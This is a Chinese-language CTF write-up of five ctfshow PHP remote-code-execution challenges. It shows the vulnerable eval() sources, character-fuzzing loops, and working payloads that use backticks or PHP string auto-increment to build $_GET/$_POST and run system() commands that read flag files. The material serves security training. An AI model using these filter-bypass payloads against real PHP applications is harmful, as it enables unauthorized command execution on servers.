热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ctfshowRCE极限挑战

本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCERCE挑战1属于简单类型源码error_reporting(0);highlig




本周ctfshow的挑战注重点为RCE,主要利用是:自增绕过RCE


RCE挑战1



属于简单类型


源码

error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);

发现过滤了(.,我们可以利用反引号执行命令 echo输出

code=echo `ls /`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sxlrpVYo-1668950575883)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145758514.png)]

输出flag

code=echo `cat /f1agaaa`;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6qVbdFFU-1668950575884)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118145815342.png)]


RCE挑战2



比较简单的


打开题目 审计源码

error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

我们跑一下 看看哪些字符没有被过滤


for ($i&#61;32;$i<127;$i&#43;&#43;){
if (!preg_match("/[a-zA-Z0-9&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",chr($i))){
echo chr($i)." ";
}
}

结果&#xff1a;

! $ &#39; ( ) &#43; , . / ; &#61; [ ] _

可以考虑$_绕过&#xff01;&#xff08;自增绕过&#xff09;

编写

$_&#61;[]._;$__&#61;$_[&#39;!&#39;&#61;&#61;&#39;&#61;&#39;];$__&#43;&#43;;$__&#43;&#43;;$__&#43;&#43;;$___&#61;&#43;&#43;$__;&#43;&#43;$__;$___&#61;&#43;&#43;$__.$___;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;&#43;&#43;$__;$___&#61;$___.&#43;&#43;$__;$_&#61;&#39;_&#39;.$___;($$_[_])($$_[__]);
//相当于 ($_GET[_])($_GET[__]) 使用的时候url编码一下

传入

?_&#61;system&__&#61;ls

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZTt2a0Ps-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118161938354.png)]

找flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VisaQcTH-1668950575885)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221118162003296.png)]

POST:
ctf_show&#61;%24_%3D%5B%5D._%3B%24__%3D%24_%5B&#39;!&#39;%3D%3D&#39;%3D&#39;%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D&#39;_&#39;.%24___%3B(%24%24_%5B_%5D)(%24%24_%5B__%5D)%3B
GET:
?_&#61;system&__&#61;cat /f*

RCE挑战3



限制字符的自增 对于我来说较难


源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势&#xff0c;太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[&#39;ctf_show&#39;])) {
$ctfshow &#61; $_POST[&#39;ctf_show&#39;];
if (is_string($ctfshow) && strlen($ctfshow) <&#61; 105) {
if (!preg_match("/[a-zA-Z2-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

fuzz测试什么没有被过滤

for ($i&#61;32;$i<127;$i&#43;&#43;){
if (!preg_match("/[a-zA-Z2-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",chr($i))){
echo chr($i);
}
}

输出

$()&#43;,./01;&#61;[]_

要保证构造payload长度小于105而且还是自增rce

使用A的话构造GET肯定是无法小于105 那么可以尝试构造POST _/_ &#61;&#61; NAN

构造的payload

$_&#61;(_/_._)[0];$_0&#61;&#43;&#43;$_;$_0&#61;&#43;&#43;$_.$_0;&#43;&#43;$_;&#43;&#43;$_;$_0.&#61;&#43;&#43;$_;$_0.&#61;&#43;&#43;$_;$_&#61;_.$_0;($$_[0])($$_[1]);

传入参数

POST:
ctf_show&#61;%24_%3D(_%2F_._)%5B0%5D%3B%24_0%3D%2B%2B%24_%3B%24_0%3D%2B%2B%24_.%24_0%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_0.%3D%2B%2B%24_%3B%24_%3D_.%24_0%3B(%24%24_%5B0%5D)(%24%24_%5B1%5D)%3B&0&#61;system&1&#61;cat /f1agaaa

RCE挑战4

源码


//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势&#xff0c;太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[&#39;ctf_show&#39;])) {
$ctfshow &#61; $_POST[&#39;ctf_show&#39;];
if (is_string($ctfshow) && strlen($ctfshow) <&#61; 84) {
if (!preg_match("/[a-zA-Z1-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

要求字符小于等于84

fuzz测试&#xff0c;可用字符

$()&#43;,./0;&#61;[]_
$()&#43;,./;&#61;[]_

构造

$_&#61;(_/_._)[0];&#43;&#43;$_;$__&#61;$_.$_&#43;&#43;;&#43;&#43;$_;&#43;&#43;$_;&#43;&#43;$_;$__.&#61;$_&#43;&#43;.$_;$_&#61;_.$__;$$_[_]($$_[0]);
// 分析一下
//1.(_/_._)[0]&#61;&#61;N
//$__&#61;$_.$_&#43;&#43;; 此时的$_&#61;O $_.$_&#43;&#43;; 这个顺序是&#xff08;实验得出来的&#xff09;&#xff1a;
// 先使用 后自增 最后使用 $__&#61;$_.O; -> $_&#43;&#43; -> $__&#61;P.O;

payload

ctf_show&#61;%24_%3D(_%2F_._)%5B0%5D%3B%2B%2B%24_%3B%24__%3D%24_.%24_%2B%2B%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24__.%3D%24_%2B%2B.%24_%3B%24_%3D_.%24__%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_&#61;system&0&#61;nl /f1agaaa

RCE挑战5

源码

highlight_file(__FILE__);
if (isset($_POST[&#39;ctf_show&#39;])) {
$ctfshow &#61; $_POST[&#39;ctf_show&#39;];
if (is_string($ctfshow) && strlen($ctfshow) <&#61; 73) {
if (!preg_match("/[a-zA-Z0-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}

限制传入的参数长度小于等于73

fuzz测试哪些字符没有被过滤

for ($i&#61;32;$i<127;$i&#43;&#43;){
if (!preg_match("/[a-zA-Z0-9!&#39;&#64;#%^&*:{}\-<\?>\"|&#96;~\\\\]/",chr($i))){
echo chr($i);
}
}
// $()&#43;,./;&#61;[]_

构造payload

# 第一种 &#xff01;&#xff01;知识点&#xff01;&#xff01; 直接使用_POST当做参数
$_&#61;(_/_._)[_];$_&#43;&#43;;$__&#61;$_.$_&#43;&#43;;&#43;&#43;$_;&#43;&#43;$_;$$_[$_&#61;_.$__.&#43;&#43;$_.&#43;&#43;$_]($$_[_]);
第一个参数&#xff1a;_POST 第二个参数&#xff1a;_
# 借助ctfshow群里佬的payload tql
# 第二种
# 不可见字符替换 &#xff01;&#xff01;知识点&#xff01;&#xff01;
$_&#61;(_/_._)[_];&#43;&#43;$_;$a&#61;$_.$_&#43;&#43;;&#43;&#43;$_;&#43;&#43;$_;$_&#61;_.$a.&#43;&#43;$_.&#43;&#43;$_;$$_[_]($$_[a]);
# 转为url后将a改为 %ff $fe 等不可见字符
ctf_show&#61;$%ff&#61;_(%ff/%ff)[%ff];$_&#61;%2b%2b$%ff;$_&#61;_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.&#61;%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_&#61;system&%ff&#61;cat /f1agaaa

另外更有大佬的payload

phpinfo安装了一个扩展gettext&#xff0c;该扩展支持函数_() ,相当于gettext()&#xff0c;直接转化为字符串


$a&#61;_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_&#61;&#43;&#43;$a;//O
$_&#61;_.&#43;&#43;$a.$_;//_PO
$a&#43;&#43;;$a&#43;&#43;;//R
$_.&#61;&#43;&#43;$a.&#43;&#43;$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])






推荐阅读
  • 本文详细介绍了使用C#实现Word模版打印的方案。包括添加COM引用、新建Word操作类、开启Word进程、加载模版文件等步骤。通过该方案可以实现C#对Word文档的打印功能。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • springmvc学习笔记(十):控制器业务方法中通过注解实现封装Javabean接收表单提交的数据
    本文介绍了在springmvc学习笔记系列的第十篇中,控制器的业务方法中如何通过注解实现封装Javabean来接收表单提交的数据。同时还讨论了当有多个注册表单且字段完全相同时,如何将其交给同一个控制器处理。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 分享2款网站程序源码/主题等后门检测工具
    本文介绍了2款用于检测网站程序源码和主题中是否存在后门的工具,分别是WebShellkiller和D盾_Web查杀。WebShellkiller是一款支持webshell和暗链扫描的工具,采用多重检测引擎和智能检测模型,能够更精准地检测出已知和未知的后门文件。D盾_Web查杀则使用自行研发的代码分析引擎,能够分析更为隐藏的WebShell后门行为。 ... [详细]
  • 本文介绍了Linux Shell中括号和整数扩展的使用方法,包括命令组、命令替换、初始化数组以及算术表达式和逻辑判断的相关内容。括号中的命令将会在新开的子shell中顺序执行,括号中的变量不能被脚本余下的部分使用。命令替换可以用于将命令的标准输出作为另一个命令的输入。括号中的运算符和表达式符合C语言运算规则,可以用在整数扩展中进行算术计算和逻辑判断。 ... [详细]
  • 怎么在PHP项目中实现一个HTTP断点续传功能发布时间:2021-01-1916:26:06来源:亿速云阅读:96作者:Le ... [详细]
  • 本文介绍了在iOS开发中使用UITextField实现字符限制的方法,包括利用代理方法和使用BNTextField-Limit库的实现策略。通过这些方法,开发者可以方便地限制UITextField的字符个数和输入规则。 ... [详细]
  • 模板引擎StringTemplate的使用方法和特点
    本文介绍了模板引擎StringTemplate的使用方法和特点,包括强制Model和View的分离、Lazy-Evaluation、Recursive enable等。同时,还介绍了StringTemplate语法中的属性和普通字符的使用方法,并提供了向模板填充属性的示例代码。 ... [详细]
  • 纠正网上的错误:自定义一个类叫java.lang.System/String的方法
    本文纠正了网上关于自定义一个类叫java.lang.System/String的错误答案,并详细解释了为什么这种方法是错误的。作者指出,虽然双亲委托机制确实可以阻止自定义的System类被加载,但通过自定义一个特殊的类加载器,可以绕过双亲委托机制,达到自定义System类的目的。作者呼吁读者对网上的内容持怀疑态度,并带着问题来阅读文章。 ... [详细]
  • 图像因存在错误而无法显示 ... [详细]
  • 在Android开发中,使用Picasso库可以实现对网络图片的等比例缩放。本文介绍了使用Picasso库进行图片缩放的方法,并提供了具体的代码实现。通过获取图片的宽高,计算目标宽度和高度,并创建新图实现等比例缩放。 ... [详细]
  • Excel数据处理中的七个查询匹配函数详解
    本文介绍了Excel数据处理中的七个查询匹配函数,以vlookup函数为例进行了详细讲解。通过示例和语法解释,说明了vlookup函数的用法和参数的含义,帮助读者更好地理解和运用查询匹配函数进行数据处理。 ... [详细]
author-avatar
青青河边羊
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有